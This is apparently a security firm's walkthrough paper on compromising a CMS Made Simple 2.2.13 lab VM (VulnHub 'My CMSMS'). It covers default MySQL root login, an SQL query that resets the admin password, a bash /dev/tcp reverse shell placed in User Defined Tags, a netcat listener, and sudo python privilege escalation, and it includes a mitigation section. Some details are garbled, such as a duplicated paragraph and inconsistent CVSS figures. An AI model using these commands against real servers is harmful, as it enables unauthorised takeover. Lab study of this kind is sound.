CMS Made Simple
V2.2.13

CVE-2020-10682 | CVSS 6.8
TANMAY TYAGI | ABHINAV

www.safe.security
## Table of Contents

1. Introduction  
   PAGE - 04

2. Key Terms  
   PAGE - 04

3. Definitions  
   PAGE - 04

4. Exploit Working  
   - Affected version/software:
   - CVSS Score:
   - Cross-Ref: CVE-2020-10682
     - CVE-2020-10682
   - Mitigation:
   PAGE - 05 - 06

5. Virtual Lab Environment  
   PAGE - 06

6. Exploitation  
   PAGE - 06
CMS Made Simple is a content management system. Written in PHP and uses MySQL database. CMS made Simple can help you build smaller sites (around a few hundred pages) and semi-static websites. A system to help you keep a website updated through a comprehensive Content Manager, which allows both editing and creation of new pages in real time.

First released in July 2004 as an open source package. The separation of content, function and design has been its core strength. CMSMS (CMS Made Simple) is easy to use, making it a delight for non-technical content editors to manage the day-to-day running of a site.
Introduction

This Research paper illustrates the exploitation of MySQL service running on a machine, which is running a web application based on CMS Made Simple. CMSMS is prone to multiple vulnerabilities. The following vulnerabilities exist: Stored XSS vulnerability, Remote Code execution Vulnerability. And also CMSMS has many services which can be exploited. Eg. phpMyAdmin, MySQL, PHP, OpenSSL. But in this paper we will be exploiting the service MySQL and vulnerability - Remote Code Execution. We will perform Privilege Escalation by first getting access to a reverse shell on our machine. We will be performing this in a Virtual Lab Environment with proof of concept.

Key Terms

Reverse shell, Nmap scan, Dirb scan, Netcat Listening

Definitions

1. Reverse Shell

A reverse shell is a type of shell in which the victim machine communicates back to the attacking machine. The attacking machine has a listener port on which it receives the connection, which by using remote code or command execution is achieved.

2. Nmap Scan

Nmap is a popular port scanning tool to find the open ports and services on the target/victim machine which will help an attacker to proceed further by identifying a vulnerability of a service or finding an exploit of a particular version of a service. It is generally the first step of an attack, i.e., to scan the victim.
**Definitions**

3. **Dirb Scan**

   To find the hidden directories and files on an application, we use Dirb scan. It enlists all the directories of a web application and the attacker will not have to guess the file names or directory names. For example, attacker will have to search for some common directories: `/robots.txt` `/index.txt` if the dirb scan is not there but then finding the admin and login pages will be a long task.

4. **Netcat**

   Can perform port scanning, simple data transfers but most common use is to listen on to a port.
   
   - **Eg - nc -l**
     
     This command will instruct the local system to begin listening for TCP connections and UDP activity on a specific port number.
   
   - **nc -v**
     
     Can be used for verbose output
   
   - **nc -p**
     
     To specify the port number

   Altogether command can be used as `nc -vlp 4545`

   This will listen on port 4545

**Exploit Working**

After scanning the Victim machine we will find mysql service running on an open port 3306. We will exploit it using sql injection and we will be fetching the credentials from the useful database. But this will not work as the credentials will be in hash. So we will try to change the credentials for a user and then we will try to login into the admin page using the changed credentials. Once into the page, we can run our reverse shell script into the application as it is vulnerable to it. After that, we will get a reverse shell on our machine and we can try to get the root access after trying a few things. Once we get root, we can exploit the server running the application in any way we want. We can make it unavailable for the users or can modify a file on it.
**Affected Version/software**
CMS Made Simple through version 2.2.13

**CVSS Score**
- **Base Score:** 6.8
- **CVSS Vector:**
  AV:N/AC:M/Au:N/C:P/I:P/A:P

**Cross-Ref:** CVE-2020-10682
- **Base Score:** 7.8 HIGH
- **CVSS Vector:**
  AV:N/AC:M/Au:N/C:P/I:P/A:P

**CVE-2020-10681**
- **Base Score:** 5.4 MEDIUM
- **CVSS Vector:**
  3.1/AV:N/AC:L/PR:L/UI:R/S:C:C:L/I:L/A:N

**Mitigation:**

No solution was available till 11 Sept 2020.

1. Version 2.2.15-1 released on 2020-11-23 which mitigated or patched these vulnerabilities.

2. So the solution is to use a version of CMSMS after 2.2.15-0.

3. From 2.2.15-1 to the newest till date 2.2.15-6 released on 2021-04-27.

**Exploitation**

The overall steps we will be performing:

1. Getting the target machine IP address
2. Scan open ports by using the Nmap scanner
3. Enumerating HTTP service with the Dirb utility
4. Enumerating application admin
5. Exploiting MySQL and updating admin password
6. Logging in the application and local exploit
7. Getting the root access and reading the flag

**Virtual Lab Environment**

- Oracle Virtualbox has been used to run the machines used.
- I have used Kali as the attacking machine and the victim machine is My-Cmsms.ova which runs a web app, made on the CMSMS system.
- Both the machines should be on the bridged mode.
**Step 1**

As soon as we run the victim machine we get its IP address - 192.168.1.47
Also attacking machine's IP address - 192.168.1.46
**Step 2**

We will scan the Victim machine using NMAP to identify the open ports and services.

![Fig. 2.1](image)

Ports 22, 80, 3306 are open with services ssh, http, mysql respectively.

**Step 3**

We decide to start with http port 80. After opening the IP address in the browser, we found that there was an active application on the target machine. i.e. a website made using CMS made simple.

![Fig. 3.1](image)

Over the homepage, we found the CMS version of the target application in the bottom left of the page. Can be seen in the screenshot below, the version is 2.2.13.
Step 4

To find the hidden files and directories in the application, we used the Dirb scan.

Here we found 2 useful links: /admin & /phpmyadmin

Step 5

We opened the /admin url in the browser. We tried some default credentials to log in, but it did not work. We also checked SQL injection on the login page, but it was not vulnerable.

So we went to the second url: /phpmyadmin.
Step 5

We tried the default credentials and boolean sql injection too but there was no luck.

![Fig. 5.2](image)

So time to check out the next port from the Dirb scan.

Step 6

The next open port is 3306, through which MySQL server was running. We tried to connect with the MySQL port by using the default username and password. This time the default credentials worked perfectly, and we are able to log into the MySQL server as root user.

![Fig. 6.1](image)

Now we run `show databases` to get the name of all available databases in the application.

![Fig. 6.2](image)

As we get database names, we used the 'use' command to enter the selected database. As we know that the application name is CMS, we selected the cmsms_db. (can be seen in the last screenshot)
Step 6

Now we have selected the database **cmsms_db**. We want to check its tables. So we used `show tables;`

![Fig. 6.3](image)

As Can be seen, the table names. Now we select cms_users table as this contains all the user login credentials.

We opened that table to see the credentials

Command :- `select username,email,password from cms_users;`

![Fig. 6.4](image)

As we had expected, the password was stored in a hash format in the database, which means we can either crack it or change it to log into the admin module.

First, we tried to crack it with the help of the John the Ripper utility, which did not work. Then we used an online password-cracking site, which also did not work. Without wasting any further time on cracking the password, we created a new password hash and updated the same hash in the DB.

![Fig. 6.5](image)

Command : `update cms_users set password = (select md5(CONCAT(IFNULL((SELECT sitepref_value FROM cms_siteprefs WHERE sitepref_name = 'sitemask'),''),'hackNos'))) where username = 'admin';`

![Fig. 6.5](image)

The query was successful so we were able to change the password. So in next step we will login into the admin page with this password : hackNos
Step 7

USERNAME admin  PASSWORD: hackNos

And as can be seen we are into the admin panel. (on the top right of screenshot).

Step 8

While looking around the website, we have checked various functionalities and options, but we didn't get any useful information. After spending some more time, we found an option which could be utilized for our goal. We go the extensions > User Defined Tags.

"User Defined Tags" allows admin user to make code-level changes in the application. So we will replace the code with a reverse shell script to get the reverse shell from the Victim machine.

Shell script Used: `system("bash -c 'bash -i >& /dev/tcp/192.168.1.46/4545 0>&1'`);

After replacing the original code with our shell script we clicked on apply and popup says User Defined Tag was successfully updated.
Step 9

Now we will need 2 tabs of terminal.

First we run `nc -lvp 4545` to listen on port 4545 for any incoming traffic. As we have given our target machine IP 192.168.1.46 in our reverse shell script, we will get the shell once code is executed using the curl command in next step.

![Fig. 9.1](image1)


![Fig. 9.2](image2)
Step 10

Now we got the reverse shell but we need the root access of the system. So for that lets try to find some file with useful credentials. The file containing the password probably should be in the admin directory so first we did cd /admin and then We ran ls -la to check out the files in the admin directory.

![Fig. 10.1](image1)

We can see a file named ‘htpasswd’. Let’s check that out.

![Fig. 10.2](image2)

Command: `cat .htpasswd`

First, we tried to crack it with the help of the John the Ripper utility, which did not work. Then we used an online password-cracking site, which also did not work. Without wasting any further time on cracking the password, we created a new password hash and updated the same hash in the DB.

![Fig. 10.3](image3)
Step 10

The output is again encoded using base 32. So let’s again decode it.

![Base32 Decode](image)

We get

Username: armour
Password: Shield@123

Step 11

Let’s try to login using these credentials.

**Command**: `su armour Shield@123`

![Fig. 11.1](image)

As can be seen we logged in! By `id` command it clearly shows we are logged in as `armour`.

Also we wanted to have a bash shell for more functionality so we got a bash shell using **command**: `python3 -c 'import pty; pty.spawn("/bin/bash")'`

Can be seen in the screenshot above we got the bash shell.
Step 12: Privilege Escalation

For privilege escalation we run the sudo -l command and see that we can run the python command with sudo permission without root user password.

**Command:** `sudo -l
sudo /usr/bin/python -c 'import pty; pty.spawn("/bin/bash")'
` id

So as we knew we could run the python command with sudo permission, we ran and got access to the root bash shell.

Verified by the 'id' command.

Step 13

Now we have the root access of the target machine, let’s find the flag or the most important file in case of a server running an application based on CMSMS service.

**Command:** `cd /root
ls
` cat proof.txt

Fig. 12.1

Fig. 13.1
References

1. Web application abuses : CMS Made Simple <= 2.2.13 Multiple Vulnerabilities
3. My CMSMS 1: VulnHub CTF walkthrough
4. NVD - CVE-2020-10681
5. NVD - CVE-2020-10682
6. My cmsms Vulnhub Walkthrough